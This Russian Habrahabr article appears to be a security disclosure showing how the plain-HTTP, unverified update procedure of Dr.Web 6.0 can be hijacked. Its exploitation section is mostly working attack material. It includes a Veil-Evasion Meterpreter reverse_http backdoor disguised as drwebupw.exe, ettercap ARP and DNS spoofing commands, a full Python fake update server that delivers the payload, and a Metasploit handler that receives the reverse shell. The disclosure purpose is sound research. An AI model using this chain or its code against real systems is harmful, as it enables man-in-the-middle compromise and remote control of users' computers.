Эксплуатация уязвимости в процедуре обновления DrWeb

В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные: В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.Подробный список программных модулей антивируса и их версий на момент тестирования Dr.Web ® Virus-Finding Engine drweb32.dll (7.00.9.04080) Dr.Web ® Scanning Engine dwengine.exe (7.0.1.05020 (Build 9393)) Dr.Web ® Windows Action Center Integration dwsewsc.exe (7.0.1.05020 (Build 9393)) Dr.Web File System Monitor spiderg3.sys (6.0.10.12290) Dr.Web Protection for Windows dwprot.sys (7.0.0.08090) SpIDer Agent for Windows spideragent.exe (6.0.5.10310) SpIDer Agent admin-mode module for Windows spideragent_adm.exe (6.0.5.10310) SpIDer Agent settings module for Windows spideragent_set.exe (6.0.5.10310) SpIDer Mail ® for Windows Workstation spiderml.exe (6.0.3.08040) SpIDer Mail ® for Windows Workstation settings module spml_set.exe (6.0.3.08040) Dr.Web Winsock Provider Hook drwebsp.dll (6.0.1.04140) Dr.Web Winsock Provider Hook drwebsp64.dll (6.0.1.04140) Dr.Web© Scanner for Windows drweb32w.exe (6.00.16.01270) Dr.Web ® Console Scanner dwscancl.exe (7.0.1.05020 (Build 9393)) Dr.Web ® Shell Extension drwsxtn.dll (6.00.1.201103100) Dr.Web ® Shell Extension drwsxtn64.dll (6.00.1.201103100) Dr.Web Updater for Windows drwebupw.exe (6.00.15.201301210) Dr.Web Helper drwreg.exe (6.00.12.201102110) Dr.Web SysInfo dwsysinfo.exe (7.00.3.201204270) DrWeb ® Quarantine Manager dwqrui.exe (7.0.1.05020 (Build 9393)) Dr.Web Adds-on unpacker drwadins.exe (6.00.0.02270) Dr.Web ® for Microsoft Outlook Settings drwebsettingprocess.exe (6.00.0.201101130) Dr.Web ® for Microsoft Outlook Messages drwmsg.dll (6.00.0.201101130) Dr.Web ® for Microsoft Outlook drwebforoutlook.dll (6.00.0.201101130) Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

b91c054308f5ba0515b823f2a115078c.png Описание уязвимости Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.Список серверов обновления update.geo.drweb.com update.drweb.com update.msk.drweb.com update.us.drweb.com update.msk5.drweb.com update.msk6.drweb.com update.fr1.drweb.com update.us1.drweb.com update.kz.drweb.com update.nsk1.drweb.com Процесс выполняется в следующей последовательности: Запрос метки времени — timestampПример запроса GET /x64/600/av/windows/timestampHTTP/1.1 Accept: */*Host: update.drweb.comX-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95X-DrWeb-KeyNumber: 0110258647X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)Connection: Keep-AliveCache-Control: no-cacheHTTP/1.1 200 OKServer: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMTContent-Type: application/octet-streamContent-Length: 10Last-Modified: Sat, 19 Apr 2014 09:26:19 GMTConnection: keep-aliveAccept-Ranges: bytes

1397898695

Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) — файл drweb32.flgПример запроса GET /x64/600/av/windows/drweb32.flg HTTP/1.1Accept: */*Host: update.drweb.comX-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95X-DrWeb-KeyNumber: 0110258647X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)Connection: Keep-AliveCache-Control: no-cacheHTTP/1.1 200 OKServer: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMTContent-Type: application/octet-streamContent-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMTConnection: keep-aliveAccept-Ranges: bytes [windows]

LinkNews=http://news.drweb.com/flag+800/LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exeFileName=isTime=1TimeX=1420122293cmdLine=Type=1ExcludeOS=2k|xp64ExcludeDwl=jaExcludeLCID=17×1041[signature]sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

Запрос списка обновляемых компонентов системы — файл drweb32.lst.lzmaПример запроса GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1Accept: */*Host: update.drweb.comX-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95X-DrWeb-KeyNumber: 0110258647X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)Connection: Keep-Alive Cache-Control: no-cacheHTTP/1.1 200 OKServer: nginx/42Date: Sat, 19 Apr 2014 10:33:39 GMTContent-Type: application/octet-streamContent-Length: 2373Last-Modified: Sat, 19 Apr 2014 10:23:08 GMTConnection: keep-aliveAccept-Ranges: bytes

]…#…-…x.3…x. .**…C…d…X…7…vB.*P]c…<....^.,.2..c.?.>y…!.(,…*…sA.U. pM…,…hG…j.*…F…:. …! Z…h…}…(Y1k…}…F…-…J…|…3.;…5…»…S.K`.).Kjx$,…u.5…~.}UX.E… (другие данные опущены)

Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так: [DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F … +%SYSDIR64%\drivers\dwprot.sys, 3143EB8D +%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B +%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A … [DrWebUpdateListEnd] Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. — т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории Скачивание файловПример запроса GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1Accept: */*Host: update.drweb.comX-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cfX-DrWeb-KeyNumber: 0110242389X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903FUser-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)Connection: Keep-AliveCache-Control: no-cacheHTTP/1.1 200 OKServer: nginx/42Date: Sat, 19 Apr 2014 02:02:36 GMTContent-Type: application/octet-streamContent-Length: 5712Last-Modified: Sat, 19 Apr 2014 01:31:32 GMTConnection: keep-aliveAccept-Ranges: bytes

Dr.Web ® version 4.20+ Anti-Virus DatabaseCopyright © by Igor Daniloff, 1998–2014Created by Doctor Web Anti-Virus Labs, St.PetersburgIDRW4…CR/.U…_.C…9G.~\J…6G…}u…y$_naykP…x…h… …J…QS…7…(другие данные опущены)

В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего: GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком: GET /x64/600/av/windows/drwebupw.exe Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma. Обновление файловПосле процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок также не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe. На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.Эксплуатация Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.Процесс создания бэкдора (c/meterpreter/rev_http) ========================================================================= Veil-Evasion | [Version]: 2.7.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =========================================================================

Main Menu

29 payloads loaded

Available commands:

use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil

[>] Please enter a command: list

[*] Available payloads:

1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper

3) c/meterpreter/rev_http 4) c/meterpreter/rev_http_service 5) c/meterpreter/rev_tcp 6) c/meterpreter/rev_tcp_service 7) c/shellcode_inject/virtual 8) c/shellcode_inject/void

9) cs/meterpreter/rev_tcp 10) cs/shellcode_inject/base64_substitution 11) cs/shellcode_inject/virtual

12) native/Hyperion 13) native/backdoor_factory 14) native/pe_scrambler

15) powershell/shellcode_inject/download_virtual 16) powershell/shellcode_inject/psexec_virtual 17) powershell/shellcode_inject/virtual

18) python/meterpreter/rev_http 19) python/meterpreter/rev_http_contained 20) python/meterpreter/rev_https 21) python/meterpreter/rev_https_contained 22) python/meterpreter/rev_tcp 23) python/shellcode_inject/aes_encrypt 24) python/shellcode_inject/arc_encrypt 25) python/shellcode_inject/base64_substitution 26) python/shellcode_inject/des_encrypt 27) python/shellcode_inject/flat 28) python/shellcode_inject/letter_substitution 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST 10.0.1.106 [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым): echo «update.geo.drweb.com A 10.0.1.106» >> /etc/ettercap/etter.dns Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns: ettercap -i eth0 -T -P dns_spoof -M arp: remote /10.0.1.1/ /10.0.1.102/ Таким образом, трафик после эксплуатации пойдет по следующей схеме: bd0e151c632ff67d436b90aac826c1cc.png Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который: Принимает входящее соединение Формирует метку времени и отвечает на запрос timestamp Формирует файл с дополнительной информацией drweb32.flg Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma Отдает фейковое обновление на запрос клиента drweb_http_server.py #!/usr/bin/python #encoding: utf-8

import SocketServer import SimpleHTTPServer import time import lzma import os import binascii

from struct import * from subprocess import call

#Непосредственно обработчик http запросов от клиента Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET (self):

if 'timestamp' in self.path: self.send_response (200) self.end_headers () self.wfile.write (open ('timestamp').read ())

elif 'drweb32.flg' in self.path: self.send_response (200) self.end_headers () self.wfile.write (open ('drweb32.flg').read ())

elif 'drweb32.lst.lzma' in self.path: self.send_response (200) self.end_headers () self.wfile.write (open ('drweb32.lst.lzma').read ())

elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response (200) self.end_headers () self.wfile.write (open (UPLOAD_FILENAME + '.lzma').read ()) #Клиент первоначально запрашивает патч для обновившегося файла, #а если не получает его — запрашивает файл целиком elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response (404) self.end_headers ()

else: print self.path

def CRC32_from_file (filename): buf = open (filename,'rb').read () buf = (binascii.crc32(buf) & 0xFFFFFFFF) return »%08X» % buf

def create_timestamp_file (): with open ('timestamp','w') as f: f.write ('%s'%int (time.time ()))

def create_lst_file (upload_filename, upload_path): # upload_path может принимать: # пустые значения, что значит что файл находится непосредственно в директории Dr.Web # либо значения вида %SYSDIR64%\drivers\, %CommonProgramFiles%\Doctor Web\Scanning Engine\ и т.д. crc32 = CRC32_from_file (upload_filename) with open ('drweb32.lst','w') as f: f.write ('[DrWebUpdateList]\n') f.write ('[500]\n') f.write ('+%s, %s\n' % (upload_path+upload_filename, crc32)) f.write ('[DrWebUpdateListEnd]\n')

#по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками def edit_file_size (lzma_filename, orig_filename): file_size = os.stat (orig_filename).st_size with open (lzma_filename,'r+b') as f: f.seek (5) bsize = pack ('l', file_size) f.write (bsize)

#загружаемый файл должен находится в одной папке со скриптом UPLOAD_FILENAME = 'drwebupw.exe'

#создаем метку времени create_timestamp_file ()

#создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту create_lst_file (UPLOAD_FILENAME,'') call (['lzma', '-k', '-f','drweb32.lst']) edit_file_size ('drweb32.lst.lzma','drweb32.lst')

#архивируем файл с фейковым обновлением call (['lzma', '-k', '-f', UPLOAD_FILENAME]) edit_file_size (UPLOAD_FILENAME + '.lzma', UPLOAD_FILENAME)

print 'Http Server started…' httpServer=SocketServer.TCPServer (('',80), HttpRequestHandler) httpServer.serve_forever () При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe python drweb_http_server.py Http Server started… 10.0.1.102 — — [20/Apr/2014 10:48:24] «GET /x64/600/av/windows/timestamp HTTP/1.1» 200 - 10.0.1.102 — — [20/Apr/2014 10:48:24] «GET /x64/600/av/windows/drweb32.flg HTTP/1.1» 200 - 10.0.1.102 — — [20/Apr/2014 10:48:26] «GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1» 200 - 10.0.1.102 — — [20/Apr/2014 10:48:27] «GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1» 404 - 10.0.1.102 — — [20/Apr/2014 10:48:27] «GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1» 200 — Клиент успешно его примет и перезапишет оригинальный компонент: e88c0ddde51478b607fdd43237d42816.png Запускаем обработчик соединения от бэкдора: $ msfconsole

msf > use exploit/multi/handler msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit (handler) > set LHOST 10.0.1.106 LHOST => 10.0.1.106 msf exploit (handler) > set LPORT 8080 LPORT => 8080 msf exploit (handler) > run

[*] Started HTTP reverse handler on http://10.0.1.106:8080/ [*] Starting the payload handler… Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

7a27582683de0dea64b39da8777bb45f.png На этом можно считать, что хост клиента скомпрометирован — мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время. Выводы Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.

© Habrahabr.ru